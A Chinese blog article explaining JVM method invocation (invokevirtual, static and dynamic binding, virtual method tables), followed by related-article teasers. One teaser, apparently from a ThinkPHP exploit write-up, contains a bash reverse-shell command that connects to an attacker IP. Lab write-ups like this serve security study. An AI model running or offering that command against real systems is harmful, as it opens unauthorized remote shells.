JVM: 方法调用

文章目录

  • 一、介绍
  • 二、方法调用的原理
    • 1、静态绑定
    • 2、动态绑定
      • (1)介绍
      • (2)原理

一、介绍

在JVM中,一共有五个字节码指令可以执行方法调用:

  • invokestatic: 调用静态方法。
  • invokespecial:调用对象的private方法、构造方法,以及使用super关键字调用父类实例的方法、构造方法、以及所实现接口的默认方法。
  • invokevirtual:调用对象的非private方法。
  • invokeinterface:调用接口对象的方法。
  • invokedynamic:用于调用动态方法,主要应用于lambda表达式中,机制极为复杂了解即可。

二、方法调用的原理

Invoke指令执行时,需要找到方法区中instanceKlass中保存的方法相关的字节码信息。但是方法区中有很多类,每一个类又包含很多个方法,怎么精确地确定到方法的位置呢?
在这里插入图片描述

1、静态绑定

  • 编译期间,invoke指令会携带一个参数符号引用,引用到常量池中的方法定义。方法定义中包含了类名+方法名+返回值+参数。
  • 在方法第一次调用时,这些符号引用就会被替换成内存地址的直接引用,这种方式称之为静态绑定。
  • 静态绑定适用于处理静态方法、私有方法、或者使用final修饰的方法,因为这些方法不能被继承之后重写。
    在这里插入图片描述

2、动态绑定

(1)介绍

对于非static、非private、非final的方法,有可能存在子类重写方法,那么就需要通过动态绑定来完成方法地址绑定的工作。比如在下面这段代码中,调用的其实是Cat类对象的eat方法,但是编译完成之后虚拟机指令中调用的是Animal类的eat方法,这就需要在运行过程中通过动态绑定找到Cat类的eat方法,这样就实现了多态。

(2)原理

动态绑定是基于方法表来完成的,invokevirtual使用了虚方法表(vtable),invokeinterface使用了接口方法表(itable),整体思路类似。所以接下来使用invokevirtual和虚方法表来解释整个过程。

每个类中都有一个虚方法表,本质上它是一个数组,记录了方法的地址。子类方法表中包含父类方法表中的所有方法;子类如果重写了父类方法,则使用自己类中方法的地址进行替换。
在这里插入图片描述
产生invokevirtual调用时,先根据对象头中的类型指针找到方法区中InstanceClass对象,获得虚方法表。在根据方法表找到对应的对象,获得方法的地址,最后调用方法。
在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/390217.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Antd - Table 父子表格Checkbox联动

Antd - Table 父子表格Checkbox联动 前言一. 勾选父子组件联动二. 效果 前言 由于Antd中的父子组件之间,如果有多选功能,那么不会有联动的关系,需要自己实现。 一. 勾选父子组件联动 代码如下: import React, { useState } fr…

【靶场实操】sql-labs通关详解----第二节:前端页面相关(Less-11-Less-17)

SQL注入攻击是一种针对Web应用程序的安全漏洞,那么自然,SQL注入攻击也和前端页面息息相关,用户输入未被正确处理、动态查询的构建、前端JavaScript代码错误,等等我问题都可能造成安全威胁。 在上一节,我们了解了基础的…

springboot书店销售管理系统-计算机毕业设计源码09304

摘要 随着互联网的普及和发展,线上书店越来越受到人们的欢迎。为了更好地管理书店的销售活动,提高用户体验,开发一个基于Springboot的书店销售管理系统是至关重要的。这种系统可以帮助书店管理员更高效地管理书籍、订单和用户信息&#xff0c…

维修雅萌五代射频仪

维修雅萌五代射频仪,主板进水,看起来有点严重,看看这回能不能把它修好

力扣SQL50 2016年的投资 窗口函数

Problem: 585. 2016年的投资 👨‍🏫 参考题解 Code SELECT ROUND(SUM(tiv_2016), 2) AS tiv_2016 -- 对符合条件的记录计算 tiv_2016 的总和,并保留两位小数 FROM (SELECTtiv_2016, -- 选取 tiv_2016 …

参数包 emplace_back lambda

参数包 下面的参数args前面有省略号,所以它就是一个可变模版参数,我们把带省略号的参数称为“参数包”,它里面包含了0到N(N>0)个模版参数。 // Args是一个模板参数包,args是一个函数形参参数包 // 声明一…

【动态规划-最大子段和】力扣1191. K 次串联后最大子数组之和

给定一个整数数组 arr 和一个整数 k ,通过重复 k 次来修改数组。 例如,如果 arr [1, 2] , k 3 ,那么修改后的数组将是 [1, 2, 1, 2, 1, 2] 。 返回修改后的数组中的最大的子数组之和。注意,子数组长度可以是 0&…

【论文阅读visual grounding】QRNet论文解读与关键代码实现

Shifting More Attention to Visual Backbone: Query-modulated Refinement Networks for End-to-End Visual Grounding 论文链接:https://arxiv.org/abs/2203.15442 代码链接:https://github.com/z-w-wang/QRNet Motivation 视觉定位(visua…

2023-2024年 Java开发岗面试题经验分享

在各行各业中,面试前我们总会思索一个问题:究竟什么样的求职者能获得面试官的青睐?作为求职者,我们又该如何准备,以应对各种面试官的挑战?在这激烈的竞争里,如何才能让自己从众多应聘者中脱颖而…

ai web 1.0靶机漏洞渗透详解

一、导入靶机 解压下载好的靶机,然后打开VMware,点击文件》打开》找到刚刚解压的靶机点击下面的文件》打开 确认是靶机的网络连接模式是NAT模式 二、信息收集 1、主机发现 在本机的命令窗口输入ipconfig查看VMnet8这块网卡,这块网卡就是虚…

历届奥运会奖牌数据(1896年-2024年7月)

奥运会,全称奥林匹克运动会(Olympic Games),是国际奥林匹克委员会主办的世界规模最大的综合性体育赛事,每四年一届,会期不超过16天。这项历史悠久的赛事起源于古希腊,现代奥运会则始于1896年的希…

抖音豆包大模型AI写作教程

简数采集器支持调用字节跳动抖音的豆包AI大模型API接口,用于对采集的数据进行研究分析,内容写作等。 抖音豆包大模型AI写作使用教程: 目录 1.启用豆包AI大模型API功能 2.设置豆包API处理规则 3.应用API规则处理数据 4.获取AI处理结果 1…

ATTCK实战系列-红队评估 (一)Vulnstack三层网络域渗透

目录 一、搭建环境 1.靶场下载地址: 2、网络拓扑 3、环境配置 Win7(外网服务器 ) Win2008(域控) Win2003(域成员) 4、启动环境 二、信息收集 1、端口扫描 2、目录扫描 三、漏洞利用…

目标检测,目标跟踪,目标追踪

个人专做目标检测,目标跟踪,目标追踪,deepsort。YOLOv5 yolov8 yolov7 yolov3运行指导、环境配置、数据集配置等(也可解决代码bug),cpu,gpu,可直接运行,本地安装或者远程…

springboot基于微信老人健康与饮食管理系统-计算机毕业设计源码82939

基于微信老人健康与饮食管理系统的小程序 摘 要 基于Spring Boot的微信老人健康与饮食管理系统的小程序致力于为老年人提供便捷的健康管理和饮食指导服务。该小程序整合了健康资讯浏览、食谱推荐、健康评估等功能模块,通过系统的设计与实现,旨在帮助老年…

uniapp全局分享功能实现方法(依赖小程序右上角的分享按钮)

1、uniapp开发小程序时默认是关闭分享功能的。点击右上角三个点可查看,效果图如下: 2、在utils文件夹下新建share.js文件,名字任起。(使用的是全局分享,因为一个一个页面的去分享太麻烦且没必要。) export…

### 微软的传奇与未来:从车库到云端的飞跃

今天我要和大家聊聊科技界的超级明星——微软。这家公司几乎每个人都听过,从90年Windows全家桶,到现在的云端革命,微软的故事简直有点儿像科技界的“美国梦”。 #### **车库里的梦想** 一切都得从1975年说起。当时,比尔盖茨和保…

thinkphp之命令执行漏洞复现

实战: fofa搜索thinkphp-- 第一步:先在dns平台上,点击Get SubDomain ,监控我们的注入效果 返回dnslog查看到了Java的版本信息 打开kali监听端口 进行base64编码 bash -i >& /dev/tcp/192.168.189.150/8080 0>&1 …

AS400==tutorial for Beginners

系统AS400 语言RPGLE 参考视频: https://www.youtube.com/watch?vFqgwYsp7mjk&listPL3W4xRdnQJHVWWmYX1Klji7QUk_PQhq0t&index5 Lesson 1 | Introduction to As-400 and setting up As-400 Environment. 客户端软件TN5250 Terminal Emulation for Window…

Null Reference: 避免和解决空引用错误

Null Reference: 避免和解决空引用错误 🚫 **Null Reference: 避免和解决空引用错误 🚫**摘要引言正文内容1. 理解空引用错误1.1 什么是空引用1.2 空引用的影响 2. 空引用错误的常见原因2.1 未初始化的变量2.2 访问已被清空的对象2.3 方法返回空引用 3. …